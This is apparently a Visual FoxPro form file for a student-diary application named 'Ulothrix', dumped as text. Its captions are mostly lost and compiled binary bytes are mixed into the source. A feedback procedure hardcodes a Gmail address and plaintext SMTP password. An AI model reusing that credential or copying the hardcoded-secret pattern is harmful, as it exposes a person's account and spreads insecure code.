BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column216FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column21hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column226FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column22hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column236FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column23hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column246FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column24hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column256FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column25hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column266FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column26hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column276FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column27hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column286FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column28hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column296FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column29hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column306FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column30hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column316FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column31hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column326FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column32hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column336FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column33hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column346FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column34hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column356FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column35hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1"  commandbutton commandbuttonCommand1studentsTop = 636 Left = 828 Height = 36 Width = 180 FontSize = 12 Caption = " " PicturePosition = 2 Name = "Command1" PROCEDURE Click oAgent.Characters.unload('Carrot') DO FORM D:\FoxPro\Forms\New.scx ENDPROC PROCEDURE Init this.Top=ROUND(ROZH*0.76,0) this.Left=ROUND(RozW*0.59,0) this.Height=ROUND(RozH*0.04,0) this.Width=ROUND(RozW*0.13,0) this.Picture='File New.bmp' ENDPROC  m%f 6U;CCarrotD:\FoxPro\Forms\New.scxUOAGENT CHARACTERSUNLOADD!TCRQ?T!TCzG?T!TC{Gz?T!TCp= ף?TT File New.bmpUTHISTOPROZHLEFTROZWHEIGHTWIDTHPICTUREClick,Init131Vq) commandbutton commandbuttonCommand2studentsTop = 636 Left = 684 Height = 36 Width = 146 FontSize = 12 Picture = ..\programs\ Caption = " " PicturePosition = 2 Name = "Command2" PROCEDURE Click DO FORM Forms\Punkt.scx name Punkt ENDPROC PROCEDURE Init this.Top=ROUND(ROZH*0.76,0) this.Left=ROUND(ROZW*0.49,0) this.Height=ROUND(RozH*0.04,0) this.Width=ROUND(RozW*0.1,0) this.Picture='New List.bmp' ENDPROC  %8g U6UForms\Punkt.scxJUFORMSPUNKT!TCRQ?T!TC\(\?T!TC{Gz?T!TC?TT New List.bmpUTHISTOPROZHLEFTROZWHEIGHTWIDTHPICTUREClick,Init\1316Q)listboxlistboxList1studentsFontSize = 12 RowSourceType = 3 RowSource = "Select first_name from People where Del<>.t. into Cursor List1" Height = 596 Left = 0 Top = 24 Width = 289 Name = "List1" PROCEDURE Init this.Left=0 this.Top=ROUND(RozH*0.03,0) this.Height=ROUND(RozH*0.73,0) this.Width=ROUND(RozW*0.21,0) ENDPROC PROCEDURE Click PRIVATE F, special_job,M PUBLIC D * SELECT People LOCATE for TRIM(first_name) = TRIM(thisform.list1.Value) IF FOUND() D=num endif IF (thisform.check1.Value=0).and.(thisform.optiongroup1.Value=1) SELECT Students * * SELECT c.mydate,a.predmet, b.name_tem,c.mark; FROM subjects a, temjke b, students c; where (a.num_pred =c.lesson); .and. (b.special =c.tema); .and. (c.name = D); INTO CURSOR T *SELECT T thisform.grid1.RecordSourceType= 1 thisform.grid1.RecordSource='T' thisform.grid1.ColumnCount=4 thisform.grid1.column1.header1.Caption='' thisform.grid1.column2.header1.Caption='' thisform.grid1.column3.header1.Caption='' thisform.grid1.column4.header1.Caption='' thisform.list1.Refresh endif * !! IF (thisform.check1.Value=1).and.(thisform.optiongroup1.Value=1) SELECT CurDiary SET safety off ZAP SET SAFETY ON SELECT People * thisform.grid1.ColumnCount=34 RESTORE FROM 'TixT' ADDITIVE FOR i=1 TO 31 Thisform.grid1.columns(3+i).Header1.caption=Ad[i] ENDFOR SCAN FOR first_name=thisform.list1.Value F=num ENDSCAN SELECT Students SCAN FOR name=F SELECT CurDiary APPEND blank DO case CASE MONTH(Students.mydate)=09 replace Nmonth WITH '' CASE MONTH(Students.mydate)=10 replace Nmonth WITH '' CASE MONTH(Students.mydate)=11 replace Nmonth WITH '' CASE MONTH(Students.mydate)=12 replace Nmonth WITH '' CASE MONTH(Students.mydate)=01 replace Nmonth WITH 'ѳ' CASE MONTH(Students.mydate)=02 replace Nmonth WITH '' CASE MONTH(Students.mydate)=03 replace Nmonth WITH '' CASE MONTH(Students.mydate)=04 replace Nmonth WITH '' CASE MONTH(Students.mydate)=05 replace Nmonth WITH '' OTHERWISE SELECT CurDiary replace Nmonth WITH ' !' ENDCASE SELECT Subjects LOCATE FOR num_pred=Students.lesson IF found() SELECT CurDiary replace LsL WITH Subjects.predmet ENDIF SELECT Temjke LOCATE FOR special=Students.tema IF found() SELECT CurDiary replace TmT WITH temjke.name_tem endif SELECT Students D='a'+ALLTRIM(Str(DAY(Students.mydate))) M=mark SELECT CurDiary replace (D) WITH M ENDSCAN SELECT CurDiary GO top thisform.grid1.column1.header1.Caption='̳' thisform.grid1.column2.header1.Caption='' thisform.grid1.column3.header1.Caption='' thisform.grid1.RecordSourceType= 1 thisform.grid1.RecordSource='Curdiary' thisform.list1.Refresh endif * IF thisform.optiongroup1.Value=2 SELECT a.predmet,b.name_tem,c.mark; FROM Subjects a, Temjke b, Students c; WHERE (c.name=D).and.; (c.Lesson=a.num_pred).and.; (c.tema=b.special).and.; (c.lesson=ComboValue); into cursor TempLesson SELECT TempLesson *ComboValue--- , !! thisform.grid1.RecordSourceType= 1 thisform.grid1.RecordSource='TempLesson' thisform.list1.Refresh thisform.grid1.ColumnCount=3 thisform.grid1.column1.header1.Caption='' thisform.grid1.column2.header1.Caption='' thisform.grid1.column3.header1.Caption='' ENDIF * ... IF thisform.optiongroup1.value=3 select a.predmet,b.name_tem,c.Tema; FROM Subjects a, Temjke b, Otsinku c, People d; WHERE (c.cod_name=d.num).and.; (c.urok=a.num_pred).and.; (c.Utema=b.special).and.; (c.cod_name=D).and.(c.Tema<>0); INTO CURSOR TempTema SELECT TempTema thisform.grid1.RecordSourceType= 1 thisform.grid1.RecordSource='TempTema' thisform.grid1.ColumnCount=3 thisform.list1.Refresh thisform.grid1.column1.header1.Caption='' thisform.grid1.column2.header1.Caption='' thisform.grid1.column3.header1.Caption=' ' ENDIF IF thisform.optiongroup1.Value=4 select a.predmet,b.semestr1,b.semestr2,b.years; from Subjects a, Otsinku b; where (b.urok=a.num_pred).and.; (b.cod_name=D).and.(b.semestr1<>0); into Cursor TempTabel * .or.(c.semestr2.<>0).or.(c.years<>0) SELECT TempTabel thisform.grid1.RecordSourceType= 1 thisform.grid1.RecordSource='TempTabel' thisform.list1.Refresh thisform.grid1.ColumnCount=4 thisform.grid1.column1.header1.Caption='' thisform.grid1.column2.header1.Caption='I-' thisform.grid1.column3.header1.Caption='II-' thisform.grid1.column4.header1.Caption='г' endif ENDPROC PROCEDURE Error LPARAMETERS nError, cMethod, nLine MESSAGEBOX(' , , !',0,'Ulothrix ') ENDPROC E ,,qL%  6UvT!TCQ?T!TC\(\?T!TCzG?TUTHISLEFTTOPROZHHEIGHTWIDTHROZWQ 57F-C`C` %C4N T *%   F osubjectsQtemjkeQstudentsQ    TTTTTT !" T#!"T$!"T%!" &*%   F'G.SG. FT"@TixT((t(T)(!"C(*~ T F ~OF' H C H >+ C H (>+ C H S>+ C H }>+ C H>+ѳ C H>+ C H>+ C H#>+ C HM>+2F'+>+ !F-  %C4F'>,F-  %C4F'>-F TaCCC %Z TF'>F'#)T !"̳ T#!"T$!"TTCurdiary &% WoSubjectsQTemjkeQStudentsQ   . TempLessonF/TT TempLesson &T T !"T#!"T$!"% oSubjectsQTemjkeQOtsinkuQPeopleQ1  2 3 1  TempTemaF4TTTempTemaT & T !"T#!")T$!" % J {oSubjectsQOtsinkuQ5672 1 5 TempTabelF8TT TempTabel &T T !""T#!" I-#T$!" II-T%!"гU9F SPECIAL_JOBMDPEOPLE FIRST_NAMETHISFORMLIST1VALUENUMCHECK1 OPTIONGROUP1STUDENTSMYDATECAPREDMETBNAME_TEMMARKSUBJECTSTEMJKENUM_PREDLESSONSPECIALTEMANAMETGRID1RECORDSOURCETYPE RECORDSOURCE COLUMNCOUNTCOLUMN1HEADER1CAPTIONCOLUMN2COLUMN3COLUMN4REFRESHCURDIARYICOLUMNSADNMONTHLSLTMT COMBOVALUE TEMPLESSONOTSINKUCOD_NAMEUROKUTEMATEMPTEMASEMESTR1SEMESTR2YEARS TEMPTABELzhCA , , !Ulothrix xUNERRORCMETHODNLINEInit,ClickError 12qrAqH2A1AqaAaq2qAAq!qQaQbAbQbAb1b!bQbAbAqAqqAqqAqqAqQ1Ar7 q21Ar r11Arr11!1A21w/K),checkboxcheckboxCheck1studentsTop = 637 Left = 10 Height = 21 Width = 198 FontSize = 12 AutoSize = .T. Alignment = 0 Caption = " " ToolTipText = " " BackColor = 255,255,0 Name = "Check1" PROCEDURE Init this.Height=ROUND(RozH*0.3,0) this.Width=ROUND(RoZW*0.14,0) this.Top=ROUND(RozH*0.78,0) this.Left=ROUND(ROZW*0.007,0) ENDPROC _ FFE%6U!TC333333?T!TCQ?T!TC(\?T!TCy&1|?TUTHISHEIGHTROZHWIDTHROZWTOPLEFTInit,13)F optiongroup optiongroup Optiongroup1studentsAutoSize = .T. ButtonCount = 4 Value = 1 Height = 88 Left = 264 Top = 636 Width = 207 Visible = .T. Name = "Optiongroup1" Option1.FontSize = 12 Option1.Caption = " " Option1.Value = 1 Option1.Height = 21 Option1.Left = 5 Option1.Top = 5 Option1.Width = 166 Option1.AutoSize = .T. Option1.Name = "Option1" Option2.FontSize = 12 Option2.Caption = " " Option2.Height = 21 Option2.Left = 5 Option2.Top = 24 Option2.Width = 124 Option2.AutoSize = .T. Option2.Name = "Option2" Option3.FontSize = 12 Option3.Caption = " " Option3.Height = 21 Option3.Left = 5 Option3.Top = 43 Option3.Width = 192 Option3.AutoSize = .T. Option3.Name = "Option3" Option4.FontSize = 12 Option4.Caption = " " Option4.Height = 21 Option4.Left = 5 Option4.Top = 62 Option4.Width = 197 Option4.AutoSize = .T. Option4.Name = "Option4" PROCEDURE Init this.Top=ROUND(ROZH*0.76,0) this.Height=ROUND(RozH*0.10,0) this.Width=ROUND(RozW*0.15,0) this.Left=ROUND(ROZW*0.19,0) ENDPROC PROCEDURE Option1.Click thisform.combo2.Enabled=.f. ENDPROC PROCEDURE Option2.Click thisform.combo2.Enabled=.t. ENDPROC PROCEDURE Option3.Click thisform.combo2.Enabled=.f. ENDPROC PROCEDURE Option4.Click thisform.combo2.Enabled=.f. ENDPROC  T %56U!TCRQ?T!TC?T!TC333333?T!TCRQ?TUTHISTOPROZHHEIGHTWIDTHROZWLEFTT-UTHISFORMCOMBO2ENABLEDTaUTHISFORMCOMBO2ENABLEDT-UTHISFORMCOMBO2ENABLEDT-UTHISFORMCOMBO2ENABLEDInit, Option1.Click Option2.Click Option3.ClickI Option4.Click|133332  0M q) commandbutton commandbuttonCommand6students|Top = 636 Left = 1260 Height = 46 Width = 182 FontSize = 12 Caption = "" PicturePosition = 2 Name = "Command6" PROCEDURE Click thisform.Release ENDPROC PROCEDURE Init this.Top=ROUND(RozH*0.75,0) this.Left=ROUND(RozW*0.87,0) this.Height=ROUND(RozH*0.06,0) this.Width=ROUND(RozW*0.13,0) this.Picture='Exit.bmp' ENDPROC  )o%(W E6U UTHISFORMRELEASE!TC?T!TCףp= ?T!TCQ?T!TCp= ף?TTExit.bmpUTHISTOPROZHLEFTROZWHEIGHTWIDTHPICTUREClick,InitP131#>)comboboxcomboboxCombo2students`FontSize = 12 Enabled = .F. Height = 24 Left = 480 Top = 636 Width = 190 Name = "Combo2" PROCEDURE Init this.Width=ROUND(ROzW*0.14,0) this.Height=ROUND(ROzH*0.03,0) this.left=ROUND(ROzW*0.34,0) this.Top=ROUND(RozH*0.76,0) ENDPROC PROCEDURE DropDown thisform.combo2.Clear SELECT Subjects SCAN FOR DEL<>.t. thisform.combo2.AddItem(predmet) ENDSCAN ENDPROC PROCEDURE Click PUBLIC ComboValue SELECT Subjects LOCATE FOR predmet=TRIM(thisform.combo2.Value) IF FOUND() ComboValue=num_pred ENDIF ENDPROC  wJ%?6U!TCQ?T!TCQ?T!TC(\?T!TCRQ?TUTHISWIDTHROZWHEIGHTROZHLEFTTOP? F~a8CUTHISFORMCOMBO2CLEARSUBJECTSDELADDITEMPREDMETD7F-C` %C4= TU COMBOVALUESUBJECTSPREDMETTHISFORMCOMBO2VALUENUM_PREDInit,DropDownClick`13qAA2qqaA2 *)checkboxcheckboxCheck2studentsTop = 636 Left = 1020 Height = 21 Width = 73 FontSize = 12 AutoSize = .T. Alignment = 0 Caption = "Check2" BackColor = 255,255,0 Name = "Check2" SPROCEDURE Init this.Top=ROUND(RozH*0.76,0) this.Left=ROUND(RozW*0.74,0) this.Height=ROUND(RozH*0.03,0) this.Width=ROUND(RozW*0.05,0) ENDPROC PROCEDURE Click IF (this.Caption=' ').and.(this.Value=1) oNext=oChar.Hide(.f.) NotShow=.t. endif IF (this.Caption=' ').and.(this.Value=0) oNext=oChar.Show(.f.) NotShow=.t. ENDIF IF (this.Caption=' ').and.(this.Value=1) oNext=oChar.Show(.f.) NotShow=.f. ENDIF IF (this.Caption=' ').and.(this.Value=0) oNext=oChar.Hide(.f.) NotShow=.f. endif ENDPROC > %%%6U!TCRQ?T!TCGz?T!TCQ?T!TC?TUTHISTOPROZHLEFTROZWHEIGHTWIDTHa7%   TTC- Ta7%   TC- Ta6%   TC- T-6%   ZTC- T-UTHISCAPTIONVALUEONEXTOCHARHIDENOTSHOWSHOWInit,Click13q!Aq!Aa!Aa!A2H)%editboxeditboxEdit1students(FontSize = 13 Height = 109 Left = 492 Top = 684 Width = 517 ForeColor = 0,0,255 BackColor = 0,255,0 Value = , , , ' . Name = "Edit1" PROCEDURE Init this.Height=ROUND(RozH*0.13,0) this.Width=ROUND(RozW*0.37,0) this.Top=ROUND(ROZH*0.81,0) this.Left=ROUND(ROZW*0.35,0) ENDPROC PROCEDURE LostFocus this.Value=" , , ."+CHR(13)+; " ' ." ENDPROC PROCEDURE GotFocus this.Value='' ENDPROC  B %  6U!TCp= ף?T!TCGz?T!TCQ?T!TCffffff?TUTHISHEIGHTROZHWIDTHROZWTOPLEFTTJ , , .C Z ' .UTHISVALUETUTHISVALUEInit, LostFocusGotFocus13 22i ) commandgroup commandgroup Commandgroup1studentsRAutoSize = .T. ButtonCount = 2 Value = 1 Height = 111 Left = 1008 Top = 684 Width = 228 Name = "Commandgroup1" Command1.AutoSize = .T. Command1.Top = 5 Command1.Left = 5 Command1.Height = 36 Command1.Width = 194 Command1.FontSize = 13 Command1.Picture = ..\ Command1.Caption = "³ " Command1.PicturePosition = 2 Command1.Name = "Command1" Command2.AutoSize = .F. Command2.Top = 70 Command2.Left = 5 Command2.Height = 36 Command2.Width = 218 Command2.FontSize = 13 Command2.Caption = "" Command2.PicturePosition = 2 Command2.Name = "Command2" WPROCEDURE Init this.Top=ROUND(ROzH*0.81,0) this.Left=ROUND(ROzW*0.72,0) this.Height=ROUND(RozH*0.13,0) this.Width=ROUND(ROzW*0.16,0) ENDPROC PROCEDURE Command1.Click LOCAL loConfig AS CDO.Configuration, loFlds AS Object, loMsg AS CDO.Message loConfig = CREATEOBJECT("CDO.Configuration") loFlds = loConfig.Fields WITH loFlds *- Set the CDOSYS configuration fields to use port 25 on the SMTP server. .Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 *- Enter name or IP address of remote SMTP server. .Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com" .Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465 *- Assign timeout in seconds .Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 20 .Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = .t. *- Commit changes to the object .Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "andrewmuliar7@gmail.com" .Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "pentium13" .Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 3 * .item("http://schemas.microsoft.com/cdo/configuration/cdoURLProxyServer") = "smtp.mail.yahoo.com" .Update() ENDWITH loMsg = CREATEOBJECT("CDO.Message") WITH loMsg .Configuration = loConfig .To = "Andry_muliar@yahoo.com" .From = "andrewmuliar7@gmail.com" .Subject = " Ulothrix" .HTMLBody =thisform.edit1.Value TRY .Send() CATCH TO oerr MESSAGEBOX('! !',0,'Ulothrix ') ENDTRY ENDWITH ENDPROC PROCEDURE Command1.Init this.Picture='Sent.bmp' ENDPROC PROCEDURE Command2.Click thisform.edit1.Value='' ENDPROC PROCEDURE Command2.Init this.Picture='Clean.bmp' ENDPROC  (%B(6U!TCQ?T!TC ףp= ?T!TCp= ף?T!TC{Gz?TUTHISTOPROZHLEFTROZWHEIGHTWIDTH=QCDO.ConfigurationQOBJECTQ CDO.Message!TCCDO.ConfigurationNT 3LT8http://schemas.microsoft.com/cdo/configuration/sendusing[T9http://schemas.microsoft.com/cdo/configuration/smtpserversmtp.gmail.comRT=http://schemas.microsoft.com/cdo/configuration/smtpserverportXTDhttp://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeoutKT9http://schemas.microsoft.com/cdo/configuration/smtpusesslafT;http://schemas.microsoft.com/cdo/configuration/sendusernameandrewmuliar7@gmail.comXT;http://schemas.microsoft.com/cdo/configuration/sendpassword pentium13ST?http://schemas.microsoft.com/cdo/configuration/smtpauthenticate CTC CDO.MessageN T$TAndry_muliar@yahoo.com%Tandrewmuliar7@gmail.com1T # UlothrixT   C (lCE! !Ulothrix xULOCONFIGLOFLDSLOMSGFIELDSITEMUPDATE CONFIGURATIONTOFROMSUBJECTHTMLBODYTHISFORMEDIT1VALUESENDOERRTSent.bmpUTHISPICTURETUTHISFORMEDIT1VALUET Clean.bmpUTHISPICTUREInit,Command1.Click Command1.InitCommand2.Click% Command2.InitW13!b1AAQAAA22121"+$.&4L1) commandbutton commandbuttonCommand7studentsTop = 0 Left = 0 Height = 28 Width = 30 Picture = ..\ Caption = "Command7" ToolTipText = " " PicturePosition = 14 Name = "Command7" PROCEDURE Click DO FORM Forms\Punkt.scx ENDPROC PROCEDURE Init this.Picture='New List.bmp' this.Top=0 this.Left=0 this.Height=ROUND(RozH*0.03,0) this.Width=ROUND(RozW*0.02,0) ENDPROC  2 % : (6UForms\Punkt.scxUFORMST New List.bmpTT!TCQ?T!TC{Gz?TUTHISPICTURETOPLEFTHEIGHTROZHWIDTHROZWClick,InitQ1q23(C) commandbutton commandbuttonCommand9studentsTop = 0 Left = 36 Height = 28 Width = 30 Picture = ..\ Caption = "Command7" ToolTipText = " " PicturePosition = 14 Name = "Command9" PROCEDURE Click DO FORM Forms\New.scx ENDPROC PROCEDURE Init this.Picture='File New.bmp' this.Top=0 this.Left=ROUND(RozW*0.02,0) this.Height=ROUND(RozH*0.03,0) this.Width=ROUND(RozW*0.02,0) ENDPROC  Va%I 76U Forms\New.scxUFORMST File New.bmpT!TC{Gz?T!TCQ?T!TC{Gz?TUTHISPICTURETOPLEFTROZWHEIGHTROZHWIDTHClick,InitO1Q22&A) commandbutton commandbutton Command10studentsTop = 0 Left = 72 Height = 28 Width = 30 Picture = ..\ Caption = "Command7" ToolTipText = "\" PicturePosition = 14 Name = "Command10" PROCEDURE Click DO FORM Forms\AllFunctions.scx ENDPROC PROCEDURE Init this.Picture='Edit.bmp' this.Top=0 this.Left=ROUND(RozW*0.04,0) this.Height=ROUND(RozH*0.03,0) this.Width=ROUND(RozW*0.02,0) ENDPROC  <%N <6U!Forms\AllFunctions.scxUFORMSTEdit.bmpT!TC{Gz?T!TCQ?T!TC{Gz?TUTHISPICTURETOPLEFTROZWHEIGHTROZHWIDTHClick,InitX122/J) commandbutton commandbutton Command11studentsTop = 0 Left = 108 Height = 28 Width = 30 Picture = ..\ Caption = "Command7" ToolTipText = "" PicturePosition = 14 Name = "Command11" PROCEDURE Click DO FORM Forms\Options.scx ENDPROC PROCEDURE Init this.Picture='options.bmp' this.Top=0 this.Left=ROUND(RozW*0.06,0) this.Height=ROUND(RozH*0.03,0) this.Width=ROUND(RozW*0.02,0) ENDPROC  %L :6UForms\Options.scxUFORMST options.bmpT!TCQ?T!TCQ?T!TC{Gz?TUTHISPICTURETOPLEFTROZWHEIGHTROZHWIDTHClick,InitS122*E) commandbutton commandbuttonCommand3studentsTop = 0 Left = 144 Height = 28 Width = 30 Picture = ..\ Caption = "Command7" ToolTipText = " Excel" PicturePosition = 14 Name = "Command3" PROCEDURE Init this.Picture='excel.bmp' this.Top=0 this.Left=ROUND(RozW*0.08,0) this.Height=ROUND(RozH*0.03,0) this.Width=ROUND(RozW*0.02,0) ENDPROC PROCEDURE Click DO FORM Forms\Export.scx ENDPROC  Va%I 76UT excel.bmpT!TC{Gz?T!TCQ?T!TC{Gz?TUTHISPICTURETOPLEFTROZWHEIGHTROZHWIDTHForms\Export.scxUFORMSInit,Click121) commandbutton commandbuttonCommand4studentsTop = 0 Left = 192 Height = 28 Width = 30 Caption = "Command4" ToolTipText = " ..." PicturePosition = 14 Name = "Command4" PROCEDURE Init this.Picture='Agent.bmp' this.Top=0 this.Left=ROUND(RozW*0.11,0) this.Height=ROUND(RozH*0.03,0) this.Width=ROUND(RozW*0.02,0) ENDPROC PROCEDURE Click DO FORM 'Forms\Agent.scx' ENDPROC  o%C 16UT Agent.bmpT!TC)\(?T!TCQ?T!TC{Gz?TUTHISPICTURETOPLEFTROZWHEIGHTROZHWIDTHForms\Agent.scxUInit,Click121) commandbutton commandbuttonCommand5studentsTop = 0 Left = 228 Height = 28 Width = 30 Caption = "" ToolTipText = " , , ." PicturePosition = 14 Name = "Command5" PROCEDURE Click Select first_name from People where Del<>.t. into Cursor List1 ENDPROC PROCEDURE Init this.Picture= 'Re.bmp' this.Top=0 this.Left=ROUND(RozW*0.13,0) this.Height=ROUND(RozH*0.03,0) this.Width=ROUND(RozW*0.02,0) ENDPROC  U%=l Z6U(%oPeopleaList1U FIRST_NAMEPEOPLEDELLIST1TRe.bmpT!TCp= ף?T!TCQ?T!TC{Gz?TUTHISPICTURETOPLEFTROZWHEIGHTROZHWIDTHClick,Initx1Q7a1Yt )timertimerTimer1studentsQTop = 48 Left = 228 Height = 25 Width = 25 Interval = 5000 Name = "Timer1" }PROCEDURE Timer this.Interval=1000 thisform.TWo.visible=.t. IF (thisform.Two.knopka1.backColor= RGB(255,0,0)).and.(thisform.Two.knopka1.forecolor=RGB(0,255,64)) thisform.Two.knopka1.backColor=RGB(255,128,64) thisform.Two.Knopka1.forecolor=RGB(0,0,255) ELSE thisform.Two.knopka1.backColor= RGB(255,0,0) thisform.Two.knopka1.forecolor=RGB(0,255,64) endif ENDPROC  %f u6UTTaB%C^C@^ TC@^TC^TC^TC@^UTHISINTERVALTHISFORMTWOVISIBLEKNOPKA1 BACKCOLOR FORECOLORTimer,1!A3r)linelineLine2students=Height = 28 Left = 264 Top = 0 Width = 0 Name = "Line2" tPROCEDURE Init this.Height=ROUND(RozH*0.03,0) this.Width=0 this.Top=0 this.Left=ROUND(RozW*0.1,0) ENDPROC = $$R%6Ue!TCQ?TTT!TC?TUTHISHEIGHTROZHWIDTHTOPLEFTROZWInit,13i)$ commandbutton commandbuttonCommand8studentsTop = 0 Left = 276 Height = 28 Width = 30 Caption = "" ToolTipText = "" PicturePosition = 14 Name = "Command8" CPROCEDURE Init this.Picture= 'Kalculator.bmp' this.Top=0 this.Left=ROUND(RozW*0.15,0) this.Height=ROUND(RozH*0.03,0) this.Width=ROUND(RozW*0.02,0) ENDPROC PROCEDURE Click LOCAL loCalcTitle,loWshShell loCalcTitle='' loWshShell=CREATEOBJECT('wscript.shell') loWshShell.Run('Calc.exe',1) ENDPROC  !%y 6UTKalculator.bmpT!TC333333?T!TCQ?T!TC{Gz?TUTHISPICTURETOPLEFTROZWHEIGHTROZHWIDTH^ T TC wscript.shellNCCalc.exeU LOCALCTITLE LOWSHSHELLRUNInit,Click1248) commandbutton commandbutton Command12studentsTop = 0 Left = 312 Height = 28 Width = 30 Caption = "" ToolTipText = "" PicturePosition = 14 Name = "Command12" PROCEDURE Click DO FORM Forms\Kalendar.scx ENDPROC PROCEDURE Init this.Picture= 'Kalendar.bmp' this.Top=0 this.Left=ROUND(RozW*0.17,0) this.Height=ROUND(RozH*0.03,0) this.Width=ROUND(RozW*0.02,0) ENDPROC  <%N <6UForms\Kalendar.scxUFORMST Kalendar.bmpT!TC(\?T!TCQ?T!TC{Gz?TUTHISPICTURETOPLEFTROZWHEIGHTROZHWIDTHClick,InitT131-H)linelineLine1students=Height = 24 Left = 180 Top = 0 Width = 0 Name = "Line1" uPROCEDURE Init this.Height=ROUND(RozH*0.02,0) this.Width=0 this.Top=0 this.Left=ROUND(RozW*0.15,0) ENDPROC = $$R%6Ue!TC{Gz?TTT!TC333333?TUTHISHEIGHTROZHWIDTHTOPLEFTROZWInit,13j)$eArial, 0, 9, 5, 15, 12, 32, 3, 0 Arial, 0, 13, 8, 20, 15, 45, 4, 1 Arial, 0, 12, 7, 19, 15, 43, 3, 1 0 mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _35C15RNM41045208632/F] WINDOWS _35C15RNM51059627931i WINDOWS _36W135HL41059627931 ,9 WINDOWS _36W13TE9N1049204472X e r WINDOWS _36W13CHNK1059288599 5 J Z x  6 WINDOWS _36W13CHNL1059288599avO WINDOWS _35C15RNM41049204472""""# WINDOWS _36W13TE9O1049204472##### WINDOWS _36W13F4TE1059288599f$v$$$$ %& WINDOWS _36W14QTIZ1059288599 ))+)9)W))Z+ WINDOWS _36W13TE9K1049660866v----- WINDOWS _36W14S0FO1059288599.....K/81 WINDOWS _37311AKNI104966086633334 WINDOWS _373121KBA104966086644445 WINDOWS _35C15RNM41053535303556646 WINDOWS _36W140D3P104966069567 7797 WINDOWS _36W14Z2R1105928859977778p8@ WINDOWS _35C15RNM41049662387HHHHH WINDOWS _35C15RNM41059288599JI_ItIII;J O WINDOWS _37313GH0A1059288599`TuTTTTRUZ WINDOWS _3AT0W6L361058830364```aa COMMENT RESERVED abZVERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 480 Width = 718 ShowWindow = 1 ShowInTaskBar = .F. DoCreate = .T. ShowTips = .T. AutoCenter = .T. Caption = "" MaxButton = .F. MinButton = .F. Icon = ..\ WindowType = 1 AlwaysOnTop = .T. Name = "Form1" yPROCEDURE Init this.Icon='Diary.ico' ENDPROC PROCEDURE Activate try oNext=oChar.Moveto(ROUND(RozW*0.62,0),ROUND(RozH*0.61,0)) CATCH MESSAGEBOX(' ! .') 